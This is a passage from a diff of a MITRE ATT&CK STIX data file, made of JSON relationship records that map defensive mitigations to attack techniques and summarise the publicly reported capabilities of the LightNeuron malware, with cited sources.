+ "description": "Use host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.", + "type": "relationship", + "id": "relationship--05b79234-c4ce-4045-8939-540f499c3486", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-25T13:11:18.047Z", + "modified": "2019-06-25T13:11:18.047Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment.", + "type": "relationship", + "id": "relationship--26cd85f0-1080-4171-a307-b5736130b0ad", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-25T13:11:18.057Z", + "modified": "2019-06-25T13:11:18.057Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.", + "type": "relationship", + "created": "2019-06-25T13:12:54.888Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--072e8adb-63ae-46ca-bb64-1bf0b48c1bdd", + "modified": "2019-07-18T15:29:32.506Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Enforce that all binaries be signed by the correct Apple Developer IDs.", + "type": "relationship", + "created": "2019-06-25T13:32:35.974Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ed38d8a3-4b4e-46fa-893b-2bcfd0589442", + "modified": "2019-07-18T15:28:31.861Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn\\u2019t included as part of an update, it should be investigated.", + "type": "relationship", + "created": "2019-06-25T13:32:35.994Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--886aa8d9-b95e-4577-812a-f1ddcedbe70f", + "modified": "2019-07-18T15:28:31.859Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Application whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading.", + "type": "relationship", + "created": "2019-06-25T13:52:04.919Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1aeaa8be-107b-4ce3-8725-0ebff7adcccb", + "external_references": [ + { + "source_name": "Kernel.org Restrict Kernel Module", + "description": "Vander Stoep, J. (2016, April 5). [v3] selinux: restrict kernel module loadinglogin register. Retrieved April 9, 2018.", + "url": "https://patchwork.kernel.org/patch/8754821/" + } + ], + "modified": "2019-07-18T15:24:28.417Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Common tools for detecting Linux rootkits include: rkhunter, chrootkit, although rootkits may be designed to evade certain detection tools.", + "type": "relationship", + "created": "2019-06-25T13:52:04.943Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--13cb72a2-3499-47cb-8814-f46fe79cf435", + "external_references": [ + { + "source_name": "SourceForge rkhunter", + "description": "Rootkit Hunter Project. (2018, February 20). The Rootkit Hunter project. Retrieved April 9, 2018.", + "url": "http://rkhunter.sourceforge.net" + }, + { + "source_name": "Chkrootkit Main", + "description": "Murilo, N., Steding-Jessen, K. (2017, August 23). Chkrootkit. Retrieved April 9, 2018.", + "url": "http://www.chkrootkit.org/" + } + ], + "modified": "2019-07-18T15:24:28.414Z", + "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators.", + "type": "relationship", + "created": "2019-06-25T13:55:45.209Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1f69c26b-7c34-40c8-8660-f505ad99ada6", + "external_references": [ + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + } + ], + "modified": "2019-07-18T15:18:23.700Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible.", + "type": "relationship", + "created": "2019-06-25T13:55:45.234Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6f81600d-9fb3-445b-b70b-a88d4adf5319", + "external_references": [ + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + } + ], + "modified": "2019-07-18T15:18:23.697Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. Also consider using Group Managed Service Accounts or another third party product such as password vaulting.", + "type": "relationship", + "created": "2019-06-25T13:55:45.238Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--efc4d5ac-af07-4484-abf1-77144aa7152e", + "external_references": [ + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + } + ], + "modified": "2019-07-18T15:18:23.702Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "InstallUtil may not be necessary within a given environment.", + "type": "relationship", + "id": "relationship--f00b00c8-0c1c-4546-9751-25ea4f538255", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-25T13:59:33.483Z", + "modified": "2019-06-25T13:59:33.483Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "type": "relationship", + "id": "relationship--f1df1a1e-2b64-4308-8f0c-f22221946677", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-25T13:59:33.502Z", + "modified": "2019-06-25T13:59:33.502Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use user training as a way to bring awareness and raise suspicion for potentially malicious events (ex: Office documents prompting for credentials).", + "type": "relationship", + "id": "relationship--f5ea26e5-4f67-4775-9fc7-a510617a9197", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-25T14:06:03.294Z", + "modified": "2019-06-25T14:06:03.294Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. ", + "type": "relationship", + "created": "2019-06-25T14:09:38.730Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--60151204-5c0c-4d18-8582-4d0fad22ed08", + "modified": "2019-07-18T15:02:36.950Z", + "source_ref": "course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.", + "type": "relationship", + "created": "2019-06-25T14:09:38.745Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--185c194a-5823-46e4-9719-9de48c3c1734", + "modified": "2019-07-18T15:02:36.940Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities.", + "type": "relationship", + "created": "2019-06-25T14:09:38.748Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6db4729b-596c-43c1-81f4-d374a2f2e06b", + "modified": "2019-07-18T15:02:36.942Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure event tracers/forwarders, firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls.", + "type": "relationship", + "created": "2019-06-25T14:14:54.409Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--865fe9a3-35e7-4c5f-9292-fcf65f255615", + "external_references": [ + { + "source_name": "Microsoft ETW May 2018", + "description": "Microsoft. (2018, May 30). Event Tracing. Retrieved September 6, 2018.", + "url": "https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal" + } + ], + "modified": "2019-07-19T14:43:31.175Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent users from changing the HISTCONTROL environment variable.", + "type": "relationship", + "id": "relationship--6114d890-764b-48fe-9901-f2a60d32cfa0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-25T14:23:11.519Z", + "modified": "2019-06-25T14:23:11.519Z", + "source_ref": "course-of-action--609191bf-7d06-40e4-b1f8-9e11eb3ff8a6", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Make sure that the HISTCONTROL environment variable is set to \u201cignoredup\u201d instead of \u201cignoreboth\u201d or \u201cignorespace\u201d.", + "type": "relationship", + "id": "relationship--f6a55d63-5d15-40d2-9d31-793cbfadb444", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-25T14:23:11.523Z", + "modified": "2019-06-25T14:23:11.523Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.", + "type": "relationship", + "created": "2019-06-25T14:29:09.780Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fd80d760-1903-470a-892f-ba33d1b699e3", + "modified": "2019-07-18T14:52:35.582Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the /Library/Preferences/com.apple.loginwindow Hide500Users value will force all users to be visible.", + "type": "relationship", + "id": "relationship--5078bd6b-0d88-4e7e-a64d-e74f9950e1d9", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-25T14:31:08.640Z", + "modified": "2019-06-25T14:31:08.640Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Block unknown devices and accessories by endpoint security configuration and monitoring agent.", + "type": "relationship", + "created": "2019-06-25T14:33:33.684Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b28f8635-6a79-4be1-b05a-b4356a04e7c2", + "modified": "2019-07-17T21:35:07.124Z", + "source_ref": "course-of-action--2995bc22-2851-4345-ad19-4e7e295be264", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Establish network access control policies, such as using device certificates and the 802.1x standard. Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems.", + "type": "relationship", + "created": "2019-06-25T14:33:33.700Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--64af911e-0b75-45b5-903d-b1ab4676556f", + "external_references": [ + { + "source_name": "Wikipedia 802.1x", + "description": "Wikipedia. (2018, March 30). IEEE 802.1X. Retrieved April 11, 2018.", + "url": "https://en.wikipedia.org/wiki/IEEE_802.1X" + } + ], + "modified": "2019-07-17T21:35:07.133Z", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify and correct GPO permissions abuse opportunities (ex: GPO modification privileges) using auditing tools such as Bloodhound (version 1.5.1 and later).", + "type": "relationship", + "created": "2019-06-25T14:35:53.245Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--02a7cdce-3386-4a5f-a9c4-a8ab2d3a9091", + "external_references": [ + { + "source_name": "GitHub Bloodhound", + "description": "Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019.", + "url": "https://github.com/BloodHoundAD/BloodHound" + } + ], + "modified": "2019-07-17T21:33:42.494Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "System settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.", + "type": "relationship", + "id": "relationship--2afbe22a-aa7e-449c-85de-21e255bc5aa6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-25T14:44:15.587Z", + "modified": "2019-06-25T14:44:15.587Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Train users to identify social engineering techniques and spearphishing emails.", + "type": "relationship", + "created": "2019-06-25T15:34:24.671Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b2dac45d-0bd8-488a-a00d-d54db8d3507c", + "modified": "2019-07-18T18:50:25.721Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads.", + "type": "relationship", + "created": "2019-06-25T15:34:24.696Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a24399b5-218e-41b5-8904-9e8e0599ae25", + "external_references": [ + { + "source_name": "Anomali Template Injection MAR 2018", + "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.", + "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104" + } + ], + "modified": "2019-07-18T18:50:25.737Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents, though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.", + "type": "relationship", + "created": "2019-06-25T15:34:24.698Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cf485f42-cc2f-4ef7-9226-533192a9413c", + "external_references": [ + { + "source_name": "Microsoft Disable Macros", + "description": "Microsoft. (n.d.). Enable or disable macros in Office files. Retrieved September 13, 2018.", + "url": "https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6" + } + ], + "modified": "2019-07-18T18:50:25.741Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads.", + "type": "relationship", + "created": "2019-06-25T15:34:24.702Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2357634d-3e93-41f3-90d5-91fe4d0deb7e", + "external_references": [ + { + "source_name": "Anomali Template Injection MAR 2018", + "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.", + "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104" + } + ], + "modified": "2019-07-18T18:50:25.759Z", + "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) collects emails matching rules specified in its configuration.", + "type": "relationship", + "created": "2019-06-28T13:52:51.413Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6c42fa31-80df-4d67-92d2-4273c22a4d5b", + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "modified": "2019-07-16T17:12:00.519Z", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "relationship_type": "uses", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) can collect files from a local system.", + "type": "relationship", + "created": "2019-06-28T13:52:51.431Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--92a5d02f-8f2e-4744-b030-54f2222bde88", + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "modified": "2019-07-16T17:12:00.543Z", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) can be configured to automatically collect files under a specified directory.", + "type": "relationship", + "created": "2019-06-28T13:52:51.446Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--83d16911-5fa1-4646-9718-6af0852dcb9a", + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "modified": "2019-07-16T17:12:00.556Z", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) gathers the victim computer name using the Win32 API call GetComputerName.", + "type": "relationship", + "created": "2019-06-28T13:52:51.449Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--70f5df58-30d0-4866-bfee-64dcf10edca9", + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "modified": "2019-07-16T17:12:00.582Z", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) gathers information about network adapters using the Win32 API call GetAdaptersInfo.", + "type": "relationship", + "created": "2019-06-28T13:52:51.462Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9a6825cb-0656-4d42-b4d7-8d0fa55394c0", + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "modified": "2019-07-16T17:12:00.608Z", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) contains a function to encrypt and store emails that it collects.", + "type": "relationship", + "created": "2019-06-28T14:34:59.110Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6259ae94-15ac-4343-9eb9-7315160bf58a", + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "modified": "2019-07-16T17:12:00.610Z", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) can be configured to automatically exfiltrate files under a specified directory.", + "type": "relationship", + "created": "2019-06-28T14:34:59.118Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2b1fb532-84e3-4f77-962c-038c798d239e", + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "modified": "2019-07-16T17:12:00.606Z", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "relationship_type": "uses", + "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) uses SMTP for C2.", + "type": "relationship", + "created": "2019-06-28T14:58:02.530Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--12918fb6-9b92-4644-a4c2-4f2f471e9b2c", + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "modified": 